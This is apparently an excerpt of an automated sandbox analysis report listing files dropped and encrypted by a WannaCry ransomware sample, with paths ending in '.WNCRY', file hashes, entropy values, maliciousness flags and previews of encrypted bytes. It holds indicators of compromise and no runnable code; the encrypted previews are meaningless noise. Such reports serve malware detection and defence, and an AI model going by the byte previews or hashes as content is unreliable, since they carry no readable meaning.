                                      SHA-512:767C653152DB6F85021AA516052758D14F0B1085E5A995623367DA57EC10E301DA9B41E7CA4699571D3552594EF44FF7A737C1ECB00B6EF9A30B7B7253B4163C
                                      Malicious:true
                                      Reputation:unknown
                                      Preview:WANACRY!....."{....D8.....K.b0.2.+i~.i.A.....@....3.......d..I}#w6}T....f.V....i...!.\b....."a..E...i..[....X...LkZ.A$..u.?.v3.&.bT....N..\..3,..`.N]3>.....'.;v.P....\..m..4..wO....!.M.x6.V.i.>^..ka<._~.j."...B9..H.x..j..<....D.U...<.a.N.U..B.b#P........xM.t.d.............=N....k...O(..OA...}....b.xu...p.j"U^.'.O.q.k.P..S:.`...d..{....L...N..r?..P.b...%!.M4.m].....K^.C.l...v.$s:v2...N.W.m...p%.X..-'~...G<r.vf.K...S....U'$..P:.4.>..^...C.y....4N...@......w..P./..x:*....#>.1...(f. ...!....7o..P....:.8Q3.Zd.Ry.?m.Y....q,....j..o@..=.....&:...`.7.8..d.G.*.\....1..p(].\.lu/..%C...mS~(b9.\....#..Vz.....t=O.).eC..........C..Z_...H.G.h.....zci.}t{....O/zV....c[G....E.*V......1I...U..Bw).0.$..`yX.~.+2rS...u. .^1.....4..._.Fu...U....!.....r.M...J{..&...duE.....G..h.`...3O..O....jr.;.W.......o>..?H.Jg.CXF......=.qj....n.:.pQ.m..>....Y..Go..]].....6..s(...8Ta..C....2:..8...8mA.[&vdk...D...0a.8.....4.o....eL..YT..|H}S...m...r.O.j.1...R.F3.:..7t.@.

                                      C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\PMAQH2N6\64\C__Windows_SystemApps_Microsoft.Windows.Search_cw5n1h2txyewy_cache_Desktop_14[1].txt.WNCRY (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):8008
                                      Entropy (8bit):7.975411399674818
                                      Encrypted:false
                                      SSDEEP:192:qUKorWpka06SUpHuSNnDxXQXPFmtM6Y/ZhwvB3U7eXUnE+BtQX:qU3nSpHuS9yXPFh6Y/XwdeyUnEitQX
                                      MD5:9670DCAD98671032AF7A78000F90B8BE
                                      SHA1:E1B8BD4E49D36716136F00B8024A48397BDB0DAC
                                      SHA-256:224A907E2C876E19BD469CF6B78A08796ECAA187AE492C32B6854F6314B90876
                                      SHA-512:CBA92D019FB2B397377E7BB68E0D7401B5EC59FF78581D4A87A4BBDEC6A125A40C5582581F2AEDC9C911ED89ED20181017D26DDACAF0A8FC2FF5B774C0674E29
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!....n......I]...:.q.......O....1Iy.......dJ...z">.+..p...N.i2xK.{...}.\..p.T.+.P..,....F.F.1..m.QY.,..9T...W...N.q.tsv*.n.....H....=.Pwl)...[.?v....Ck..w...^.B..k....0..5)S...F....*av..k.T"_....^ ...>.-.=......;....S..c....0v..6.9..a..mk.4.'..I............3h.`R..O....L.c..r......t....A.~..+..vMj..mr.4.UE.bF.DF.5.l.....Q.<..'....4..Jn....r9.Q..q.".c.mm.sh.'E.......n...Y.....^wZ.....^%..a;.8..CMA.~.dZ9....'..#......\,....2A.k).6.m....ev..H.#,..l.1G..Q..ni..A.............-..M.l9..^.^6....e....S....@..N7..'...Y....g..n...E..\d].a.h..m....:.`.>Q}.......9.....s....z..C....(0|.5lX..6.w..?AE..O.{..V.t......z+..#.z..jw..B.f...@..#M.;.0Z......."[..G5 2...+..X|SR....,.7......l......9>.4...d..Cw..]....N..,0.Is;........$.....ePZ.w..:NT...^.)}..X.....sw...".Z.>..,....+....B.*N.....z......W....G.f.....$...(..(.:..X.q...8.\...(!.U.r..@...|Gn...]N.>a.P..c.2...c$........?Y.mWQc....^....'...P. |..:.-y.'.@.._...H6.^......E..ZT..h...S.;.0.O<..[.G.....C..

                                      C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\PMAQH2N6\64\C__Windows_SystemApps_Microsoft.Windows.Search_cw5n1h2txyewy_cache_Desktop_15[1].txt.WNCRY (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):123256
                                      Entropy (8bit):7.998640017218795
                                      Encrypted:true
                                      SSDEEP:3072:EPtxbTByigzxmb0ymUl3iaCmAdhRiU6rn494rxON5QfCabKYU:YtxxyigzxwPl3oBibVI5QfCa2x
                                      MD5:2E4CB9490334F540645073D889A6DD41
                                      SHA1:15E64304F76788B78F4B4890591CAFEB95FCADBB
                                      SHA-256:9155838ED67B33365F238A28A0F6F26220E5DF2DA464125F8148391E57F5ABE5
                                      SHA-512:DFEB773741B76749E58E92D55F331CDABF55F36EA8B7CB753736E4606354FDFFEE2417886090C7DAC93632F28F8ABB3A228A7F0EAD71FA6D57AB1573333F98E1
                                      Malicious:true
                                      Reputation:unknown
                                      Preview:WANACRY!...."_...&@ hx...wO.......T1N.........,...^o....!.......'~q..-...R........aE....t..{.97..K6q[..T....M...$n.E2V.he3!.qs^.tN.J.M.4...v.....^.3.....-0....._."........8(;..8..i..A;'S..*nw.....>.UE.8_...F.F.OK.........V.).....n..k..0.')..I....4I....Z.......t..a....oTb.......z9U...d.....<..Y=..S...._J..r~...m.3'..w.......z......:...2.J.1....s...s..%i.%........%...yU.u...3..C.81.6 67*...'... ...#8.t..A...<.K9e.Z2S03..3b..br*.<81m....$. ....p0Y..T.o....rC.Z.`m...B.....@LR-.Bcm.._Z4....L.;.....Q.>...lt.....a..,.4..ZS._[BU........d.9.. .[.....E.$.$o....(...zo.....'..e...+:yL..$.S.@.jBW....i.p....i.4...$.>{"...Q.vvi..b+f..y...z.....M3.#.......d..oI.R..y."1.~. ..l3.P$I...Y.27.V.......8...(>xU.lpQ...]y....Q..,I.b..[._....ZK......y=.............J..J;&...l...~...+.2.IA......:M=.FS.=.......1......Yq...p....w..`.7.~....'..y.Q..av..r..@em....S}wE....w...s.}.6.>P&.?..g....>.'eY=%...........$.%UF.._....".%V..M...p%...}..9:R.d...Y..1..

                                      C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\PMAQH2N6\64\C__Windows_SystemApps_Microsoft.Windows.Search_cw5n1h2txyewy_cache_Desktop_16[1].txt.WNCRY (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):95112
                                      Entropy (8bit):7.997847337232124
                                      Encrypted:true
                                      SSDEEP:1536:r65dqrfi5wXVr/2oSfZjSw3YHuWfNtjauKMdKt/RQDlfcZKRrBszXUSPAxmIOvDc:rcypFSfPItOuKeKFRelUAdmbUXIaHEfY
                                      MD5:E551AFE6D8380AF92F7EA2F461537EE8
                                      SHA1:B72991E6C7CD7E3FEAEB7EDDD09E94527ED23CC8
                                      SHA-256:A7FA51F0E773B1C7E0894E9251E465DB5C41FB9E7C40F7750793B2C8317B9BC2
                                      SHA-512:C003322EEF598148FE5EFB3D6BDDF1E95AE6C638315A5ECCE26EAD096732E181772231ED7D6C5B86BB630C897B7DA9525B1C97BC4191FF1411EC10003A72972E
                                      Malicious:true
                                      Reputation:unknown
                                      Preview:WANACRY!....u.}J.2.3.,.#..V...*.\RJ...=p....~:_..&;F<.>\*..........u..y...=s.W.6M......_...GB}.......`pT>[...<F..X/p.>.)...)......,..n3.k..HF&...c......Z.).2Aw.5..@.....:.l.Mok,..!..I.5.`...t:/....RCp....'.0...(&_K....0......_WPXXv.>b.p.mSW......t758...r....gr......{..'...T1.dG.....){Bq..F!.-l/.....N..&5....?T....eRUrkQ..X...Tj*Mm.n..{...@_f.....V.!..'... k.Gh..a.mr}..6...a.....{..=..'....V."n..\.*......6r......l.+...._u.t.aT..j......y..PT.I...xo..n..~x.o.(....hj..\.nwG...A1.3...........5.6.A....E...^..<C......X.......,...w....w|.....~.r)......`k.}x.....JI...x.!.o<...H...3..F...}M<y...Q#*..D..t.C.5.D.+C......~R..R..../......eF.;.E.vNOJ1;rH.pR...-~......s.mf/....).*/d.<.......L.X.."...H.=.O.+.u9.Y.M..0..._C.W+.e'.YW..$...B......a.!.......?....X..7..W.q".g.'G.,/.....8!o...;..Dc1...h.."!./...h...[.B}......3....[C...(~.4J_.PA..S...&o.I..k..."..%.>KJ1..S...6.7.... u2Z.j!.Y!|...r...AG.....H.).8B..f.no..dlI8.lq?*.E...7.y..t......8..t.......A.@Y.I`..'..

                                      C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\PMAQH2N6\64\C__Windows_SystemApps_Microsoft.Windows.Search_cw5n1h2txyewy_cache_Desktop_17[1].txt.WNCRY (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):6872
                                      Entropy (8bit):7.971868023462704
                                      Encrypted:false
                                      SSDEEP:192:SKxfZ7eEStEd4MvXUgJtmXa1GpEzpvEl8Ka:rdxxfUmCKzpvEK3
                                      MD5:D612F4A87EF7CE81FF6A81717AB07AF7
                                      SHA1:3468903A3E69F69141FC90CA469EA661232F76D6
                                      SHA-256:283B92D4EFD2422D6280806AE02B8FC48568436D6682C5EF6E81BCF3B73CAE47
                                      SHA-512:7F7F4A5EAF69428B49BCC2AB4EB6090DC2F51633414D89156C53C60270BF2A514E37CB5E57F400CD14C824CA4281A38F96AB15AD144838FD61F87E5C3DEFB869
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!........O..2..z.....G..v|..X<..]...U.x.l.%.a...V..eZx.o.K.gl...aTc....y.u.y.B..!.i.L.].......|.."'...G.....T0...I.x..v.n...L#...n.IU.........Q.9.n,..d...7..a....;]#Q.@}Oe.m.....7..q!..J.C.$\q...+....K...J....K...I;?.n...e... ..Z.>]).).......kl.T.............l..!{.T..'.u{.9b...lA.C......]GJ..x]6.D......4. ..W..;....<...k..c.).:T..3A.....F...\.C...s......Y/._.ZIt........{.h../.{..#._E...........P..o.k...=Xx2...C..z..v}.w.q..}.5.t....y.1.5..!.W..3.....{Aji.9.....3B..k.....Da;.^.........eo Yy..K{.........O}....8m....q.2.. d#.&..1W.o1Z.v/ ....<2x ..v.)..Q..j<e.8..)..<?.......g..n.Q4.E.4.0f..9g1%..Fo......qJZ.......A.Jj.8..Q..0..d).V.._w.Ha.....b^..2`.....]!.[~T.;.O...G7-8...{n.;...B..I...!.B......i..Wp......8:..*.[...d%....W>nWT...}.?....L..k....lCv..F....Z.G.LN..I.#..(.b.N..1.AU.N......:P..(.`.!..T...T.\S.D.<u.U...;f.....*.J).....O......z..U.CW....M#...i..K..}B;.6..._g...UN..n.C.q.y...).[..fv.......;qUa.(........$.9^.y.5."..OZe .

                                      C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\PMAQH2N6\64\C__Windows_SystemApps_Microsoft.Windows.Search_cw5n1h2txyewy_cache_Desktop_18[1].txt.WNCRY (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):122040
                                      Entropy (8bit):7.998506494857594
                                      Encrypted:true
                                      SSDEEP:3072:MPQG4wVDJgmEpVM7vHYty4m6P7OP0tHGT/:iQG40DGM7fYty4m6PW0ts
                                      MD5:FEB50D5ECC2C53BED8778DF86C503F57
                                      SHA1:E450FABD1FC770A0DCAA05BD116D55DFB87C5A2C
                                      SHA-256:631DA66FEBE07894F50D1E221768D35C155E0F3B5B0E62E7E6635BD3C7013FB7
                                      SHA-512:7C523D4D39EF90A9B210FAE58AAED9F263B0B01F3242B847A86BDD0645AF300303FC1B32ABDF5E4C1692954E3B0F2CCD99B0C3093D77C45CA4527166D2817538
                                      Malicious:true
                                      Reputation:unknown
                                      Preview:WANACRY!......G./j.4..H.A.:...v...`N.I...#9@!@...{"..h#.%/...7.n.....[.B..H..soY.....8&..l.!..iU..@..\.h......2.:Fv>K.5....hEy..W....5......A.U;...R:.....A.o"...T6.8I...22]..+.`.x^.....V@..g.'zZ.}]..F.j.......t2.......m...J...V.!.&.^....:Q?..4."................."...k..eN.$......H+.......X..,.U..7......{....'..).^.w.*.T......W.8".-&....;...6.J)j/....3........|....<bv.B.......u.Mx`...>)..%.{.....:8OL...l.+.Qk.0-E..5...c.."bd..S93r.W..[QZl[y...`...=.x..04.........`.Gi.@5w.'.x..l..5...3).6.:<.{..S.4..t...a...@a....0..R..#.x3D<6.A^....^.+z..{_...F...B.m..33.)>F........!5......0b.|...g...J..I..._.=.h.7Le'.........P.ZV..s.&.2L.y.pC..;>.W.S.xT.p..U.v....^D..Ut..w...G...$....fw.]udn..X...J."g(.........)......=..R.O..n.S.........W...#.N./.m!...|.......T...wy.....}>.....X....d....a*..}...A.F".Fmu.*&.L\u^.fE.....<.P...I..Z><....Zpjr.d.......,/.n..H..f.C.y.......$..@.,....R.b.m......@H#1.A...)E.....r78...E.._..N|5u.6gt..-].Z]...X.]..W.

                                      C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\PMAQH2N6\64\C__Windows_SystemApps_Microsoft.Windows.Search_cw5n1h2txyewy_cache_Desktop_19[1].txt.WNCRY (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):121496
                                      Entropy (8bit):7.998320410583468
                                      Encrypted:true
                                      SSDEEP:3072:JxzdElP5ba6c0Wba8f2UjC00WQD+RqPCY:Jxd0a6bW92UjCG0w07
                                      MD5:486D08A2A471232E9214A95B7887F4F1
                                      SHA1:58BB04131875BD097B8D3C3F8398F7038876E0CF
                                      SHA-256:F9998024785CF3552BEC715812D033374C82513CC62E1E82C1B2474D483A383A
                                      SHA-512:C0929072CF4287F6157EF76EA594D5ECEFE079B7DAEF5654ADA3D0E3F327EC1069464303A7131F8193B0BA124265B04F617B36036E27934A265C7261AAB10D76
                                      Malicious:true
                                      Reputation:unknown
                                      Preview:WANACRY!.......;O.|.(.k).. 'T|.%.........aK.h.!....H.j.".B..;U..8.a.. .1^9+...D..<...G.zGx..r2..i.S?.!n...y7l.@i....gj..A...T.U.Q....j.Dk..$.&..1..I.C.'t..l$...X..h}.....@-Q..j.<....f.`.ln...'.R....RCN./.je.d.=.0...&x...&.d...[%Pl.hJ..1.5.B.A..k.U,.[/.N.F=..................l&.[..H.z..7.....X.x.s..'..M...."m<..u......a.<3.h..qE..O....yZ..X..B...#8J.A.dF.a$.de.f;!....` 3...d2..w..*..7.&.R.O6..:..........p.V..#.?./[...By..wyu.n..#~.P\h.... }..e.K....&CY..kx!q.<.b......w......X..A..._.......r,..8..5....a...z...'...[3&..=1;.i&B.p{...|3.|...Q...Sd:).mK&...Z...L\..1_y...+N.QsL.).[..ji...<.]:..../..:.j.h.d.`Z1.Q.h.`N..R_..r...N!JH.....7.}..........e+....).r.spi.~...v.a....N...-... ..0}fg.3r.6.)..5._........eY.v..w..J..(...u......p...Zh...i..D.4F....|,bS..E\U....y Y..%<............).+tD..[....1V...~p..U}..........rM.9K;A.iQ.u....KfQ.@...J.n.........1..d.g).R=5=..u..V.Gx...&....M|..-5.gT...@....-..q.`%,.....43$.._...8...N...2.?.......^.~.zQ.oV..f..#.$P...

                                      C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\PMAQH2N6\64\C__Windows_SystemApps_Microsoft.Windows.Search_cw5n1h2txyewy_cache_Desktop_20[1].txt.WNCRY (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):65784
                                      Entropy (8bit):7.9973013244889275
                                      Encrypted:true
                                      SSDEEP:1536:QnlgnUo45NVoyZGzuBBJhx1Fu/PTssQWnqETUhncDgiU:QunuzVoycW/u/PTssTDghcDJU
                                      MD5:46459D02E4AC80A1C4385E60B66FB925
                                      SHA1:30A46098E58423BF52CF73415164CAE25239A775
                                      SHA-256:D1794BF5F5C4DF516381C2842C5C219305A90283E9C46F50C478A2CA4BE7EDF3
                                      SHA-512:E158A06BA9F8A02F859F155BAD2B9C8126242DC058541D6C5B89E00EBF32B429A0769A772F29FF33A0B6445DDE4E74873A3B219E46632B87BC0144E7698EFD49
                                      Malicious:true
                                      Reputation:unknown
                                      Preview:WANACRY!....MKH.."..fz...h[9Q(z.K(.'.........1.qE^yJ.VHM..#.,:.......v9....0s~51q.T}4...kQ}S........L...Sn.....x..C.R}. s7;v.}3..\......p.fWDG.)...E...O]..'R.......kB....p.K..j..#.#..;c.j.....)..].)...db].J2..}^..'./Q......1.....W.".....{.yWb..AJ6..}.Y.............oR...I|"..Nvd0......#....U..yk.t.....cP.C..C.............bW....f.8.0Q..^..#.*]L%I#.s..7..j..{.W....WN[)v9.2...<'!s...d2....[..s.C....pL'.\'.l...F%...`./I..6e...6..$.jx.[..2..|...$O.v.|Y..q....i.......^.....F...^ki..3%qX.^xk.....'.V.r......q...y>....B......O#.S..{^....G6.?.8..k....o.zt.l.#..['..[["8.AA.p..@<..6..c=7.<...=..b.D.....9..'.......EE.h..=..!`........3\\.... >Y..UU.U....p.#..\{.%......g....Z......1.V.O@.z..d..SWa.C}.W.Y9...dNU..".3m....xd...I..\?~..t.S.....^x.BF..4..U.......BIJMi.c.......q=.bI.%.....F_....w.><|(x.7oQ.Dx:.....aO..B.Q......`.r"....'..U..y...(r...t..8...^.Q.... Tq.&.(g..\.&....!.....3........R..T.p..)..p..-P.3..!.d.-.1T..].[..p.."..H...N...q.L..

                                      C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\PMAQH2N6\64\C__Windows_SystemApps_Microsoft.Windows.Search_cw5n1h2txyewy_cache_Desktop_21[1].txt.WNCRY (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):45800
                                      Entropy (8bit):7.995252861702846
                                      Encrypted:true
                                      SSDEEP:768:4AO4hZBz4RV21p1RQXpZgKMJ0mTUnJ3rXfQB9avh6WNQfXviKD:rOmZe2DbQXpWK8vTUnJ3roaJsfXv3
                                      MD5:7E8425397CDB9D2762FB67CF3E402D18
                                      SHA1:EAEFA082966D31F02DC35CFDF163B0FFA5E2232B
                                      SHA-256:3497C7F6F60F5862F6F09013CB6E02E6EE2838CECC46A4B7E67DAC2DB13A1484
                                      SHA-512:4E0B10F74B67CC3E159DF741CFD1A603D719B802C4B900612073DD48026E37424C3084A8A2FF7B84CA8271EBDEF35F620902F44E58EE14FCA4BB3D2212E69BEA
                                      Malicious:true
                                      Reputation:unknown
                                      Preview:WANACRY!.....Y...E.LLR....Qu.; ..u*..]z.i>..Z....d^G....}.`.9WL...=2.Z.!]...+\47.m=.a.sOZa.,a.v...d.B."s..B.c.....oU....NUa..,..~q`5...a.g6r....L...(..D......n.4...o..yD5...%W..Lm..................%...?.3...=`_.o.b..7.I.+...T.Qwr...P...+.:..A..3s.&[.:...o..b,...........+..=.HD.W..sr.>.T.Z./.....9qFO.cw..a.Hn4v...t......2. DC..J.02%.X...@%/.!.z.Q..<.*.W[.i...;.....7Z..+.j4....5r.....#...1e.....J.E.my..d....1.Ab(i.........(4.&#.Gl.Z1.{=...G.y.. .|....t..m.<....(d.z.S...XG;.DAX-.a.k...t.6,......W..;K;...v.g..*5$L.R...&.4...u.....1....1UG.....AQ...6.hV.h...D.y..eL)...l...b....%z.....T.uY.....E.. .f.n..$..U..~Q%....hP.s.R..<..g......-Hj..~.e...8.2P.m....e......I.....Y..%....$...^.../.5J..j...0. 6..%..3..N_-|...s..Q!.I......,.j..Al.E.o...t/....{.`., ...R ........<~..c..M=..tO..2..{..p..P..H. ..2....g..q.....$!h"x|.:5W..~.0.....!yW... ~P...n.t.tx.:0.6G.l{.j.}.;V..5Gj4.t...c.4.. ..:.....S....`|.u,.J..Lq.o.$...}`...l...9............2U...9._..2.t4.\.s.

                                      C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\PMAQH2N6\64\C__Windows_SystemApps_Microsoft.Windows.Search_cw5n1h2txyewy_cache_Desktop_22[1].txt.WNCRY (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):202536
                                      Entropy (8bit):7.999100288774392
                                      Encrypted:true
                                      SSDEEP:3072:cyMnjzFzCyWv/c5FFMWxj+gMWhXfXqDc1SDwFJwnVbudMKq475q/Srv93V7dx:G3Fz5scFjj+j8Mc1S8cAdrt5qKrZV7dx
                                      MD5:D1DAE8B09F9E256DDC56EA65B230C1EB
                                      SHA1:55760A15DA087B7BB198039CBA85F9D79AFE6C87
                                      SHA-256:FBBD44861240294B80D3EEDF424AB316A07E5511399231EAB9BFED3F20E61D5D
                                      SHA-512:C7984650EE7CCC529F297F0620745A095F73B00485C6B5664BBC565EE1FA688B9168A50427F1DBF9CF3231CEF8B36DF246449E2B03D2A6F62CC3BBB8445B2A15
                                      Malicious:true
                                      Reputation:unknown
                                      Preview:WANACRY!.....5..H...vC..........2...dp.#....v..w...]L....p..rN.w8 .*..y..dFOX...$...1W..m..e..e.1.I.a....`..T;iW...)@OGH..Us.f../..b.....\...M..1.........VB.....x..*(.i/.$....{.L...)..Z.._.K&.Y....*.O..._..F...'#F...Cy.L...VTU....E:...p=W..k.......q...............k....w..Q4pE.3..J......Y........g+..9.L.u......%.. .....v.!..M..........o..z.%#gbY...m...[m.>x...U.A....48..)E.S.>.$......5........v.B8.VF(..i......+L....,..[.F....3U.q.`@........;.I|2....^FINa..d.y]..p@.m3..."!..,.3?y+.%!@.P.k."..}...>..b...Fb..6o9. ..%....rt-..p.. -..fF...a.+h:...x.}.......W%.c....._...........1..."|b4.....1bX...l...L..a...$...B..5!e..B..|./e..3...%..T.R...a..,.,R@...}....;......-s.ey,S.h~..r.4.&....[.n*.,.......K$.....K.CS........_H..l...\U.c.....V.5-H..,j....5..f.{'.d.f........Y)e3.#<..F?.UZ...pp3..h@=o5^.y7.q.9r.._c.(=b..^n@.H..=...t..8). w..z....V....t..q. .1...v`.G.E|z~.^..........S.&,.......OA..3$..b.......H.<H3...Q8.o^.vv=V.A..L..#Y/9NU.

                                      C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\PMAQH2N6\64\C__Windows_SystemApps_Microsoft.Windows.Search_cw5n1h2txyewy_cache_Desktop_23[1].txt.WNCRY (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):16200
                                      Entropy (8bit):7.987983637852004
                                      Encrypted:false
                                      SSDEEP:384:pWtmBJHP7+JnDKS8AavHd0+4zLEtLgeAiw:0t6P7qnDKO8dSiw
                                      MD5:34B85BF63A06F6A222A24E4B021CF884
                                      SHA1:CD76E6E21F0D1C8D6469192168156D8AA8CC6F16
                                      SHA-256:E313D2A89388F45A46982F4EBCF002E1038CC4D58B65F1F82637C8ECB88A0267
                                      SHA-512:5D23EB73827328CAA3B69B86DD6DE751B34F9A101A4C20A035063B30C1941F45DC2A458070CC44E90B1BB2AD5823D91C5E1A6CCD831089DC340BA05D9549EA3C
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!....JT..;p.GR%R.&I!....H..O..Q...........7...2%....7.+.C.{.k\F..I..'.....\.B...~......-G.D.....C.n.LZ...L...\..f3....B..|.u..i'..7`.?.%....p...,.L.`..lk]..].....)2Mx+.............uF ..o..85..Y.u,.`PLtK>....9.\...#.tN.....3.....N...h/P....V...... .Z.G....+>.......i......z,.kP.W.]u....IVb.n..0....c.].E.e$.P...Q.1N.(.G..+K...$.`V.....tk.I.0.v"[....0 .z..ix./q........WvH$.k..!VQP.w..m...9.E..Dn\........"!.#.(O<...v#8...*.T*:a.C.q#.....3c......`....??.........I.qUi.....b..$BOg....'........>T.....}..H.j..9..G.<"AyA^....=...5..v.`.....?i.\.6..$..:.,....z.UD.K5rW...k....>..}..!..Ju72xhW?..r...n.c...x/..h...q..-.nu..=...1.......yK.A.X..>..........M......|.G.&.........0......L0....u;..{W.^\p......b...OK.m../.AR......R..._.......n.......~&.$..$./(9.i.n...|.g..SX..8.l....//Q1.."....eJn..q.t..!......=..u..d.....29"e....O...wKJ.1.L.1r.Ag..$....d.A+f.Z..ut..E.].. Aee..Y?{..n.z....,^&t......&@SM...hK|D!V.Ep.p#Z.wg=.KU9?..:8.K.mC#QTU.Du>I(..GkS..|..5.

                                      C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\PMAQH2N6\64\C__Windows_SystemApps_Microsoft.Windows.Search_cw5n1h2txyewy_cache_Desktop_24[1].txt.WNCRY (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):49160
                                      Entropy (8bit):7.996213821138876
                                      Encrypted:true
                                      SSDEEP:768:YQsqI/MVGC0+I0L1YqPELlwaX6KY2TPiF/JNLkkHFfqxIJMHqXL0ITOa/JOAiTVY:WqGx0L1z+H6KYaPiNLpHFfVMHJZAYu
                                      MD5:3F972498BAE804BD053FDE621CF72DFF
                                      SHA1:BB735C2ACF1A0BF96AB2163608A94D57CF056B11
                                      SHA-256:EEC17B1D0C5F5F5ECE4B919B27FFAA935B00BC06C48FD67A9D2DC7D08D311592
                                      SHA-512:128B349B715851FA79273F9D78729A5247B9F21D3B65701506D80C92A6C416F01747623D9E7D82EA3F458286F6ADB4FF0B308D92E1F8656AE53B0877A4287839
                                      Malicious:true
                                      Reputation:unknown
                                      Preview:WANACRY!.........!.u......8ip.P...'.....n_.8{../..j..Q...r. |A..+..h-.F.j^.x.r<..7.~K.3..F......z.6.6....t:$m...{N..._mi..9.....*...]gv...#*.Q.C.f...M.:..%.@....O.../...@..!......'.rfP><.....4..j.b..x.G..[.v.......G.M....D..p..a]....,!......!...+.\X.Q............@o......(:.rk....2J....K.I...8$..w...S..p(...z...4...s.U.?...76{p...gT8d.'.x|....6dW...G.......C.m|p..)oG".j..c.6..L..-.b..-{$|....@I.H..u...}...+.(.....1.......L.."...p.LS..@:...s....>..s.i..B............G[^.'|.)}.f!........Lqw.P....(.c".3s..../=...{g.....<...2.. ....++.).........Z.J...B.."43.g.T.m..'.\....-;.6...C.A.J.A....w ..J.@|..z....zc.vh.h.....|.#e...Y.u.DR.B8L.\` ...Z......e..$E.8.%a..B........5....Qw.1. 5Z.w.....'A...d......S.........!6P.oqka60.]h....%A...;qC4+F....`X.^.u....5..B".]......f.....1...r&.d$.qF.r....Yq.W.>...k..p."..r.......K;<.....j..c.*.- .c.Z..tW[.X.,.S.E0.......|.}.~.g.\..M....w.;........k.7..9.......8.hoS.(......e._..G..n....pu......h.e....#...q..

                                      C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\PMAQH2N6\64\C__Windows_SystemApps_Microsoft.Windows.Search_cw5n1h2txyewy_cache_Desktop_25[1].txt.WNCRY (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):40328
                                      Entropy (8bit):7.995162457251138
                                      Encrypted:true
                                      SSDEEP:768:ZKXqWd2YFV9AICFdc4z5sb0FUpylfz2CfbOIZcldpq13YfVqPw+fA1QjLKjnfHMf:KgMAImdN3IypAzq13Ytfhjbf+
                                      MD5:22622D42DEAAC07F79877F21B4641CFB
                                      SHA1:0D4958CEFC572764FBC274DB342F0D946E859106
                                      SHA-256:1E047F912AE4FE17C7797380DDEFE4A6B11D472524BEBFBA50773B3F7ACE00CD
                                      SHA-512:FBD157D89F44D1464B609F2D3320240EF78E2F3A59CAA68B77BD3B6EE0F652F8C96FE99D2924D3B7717442A4D4E3213DCDE301CFF0FAAD2275A2E59C658C866A
                                      Malicious:true
                                      Reputation:unknown
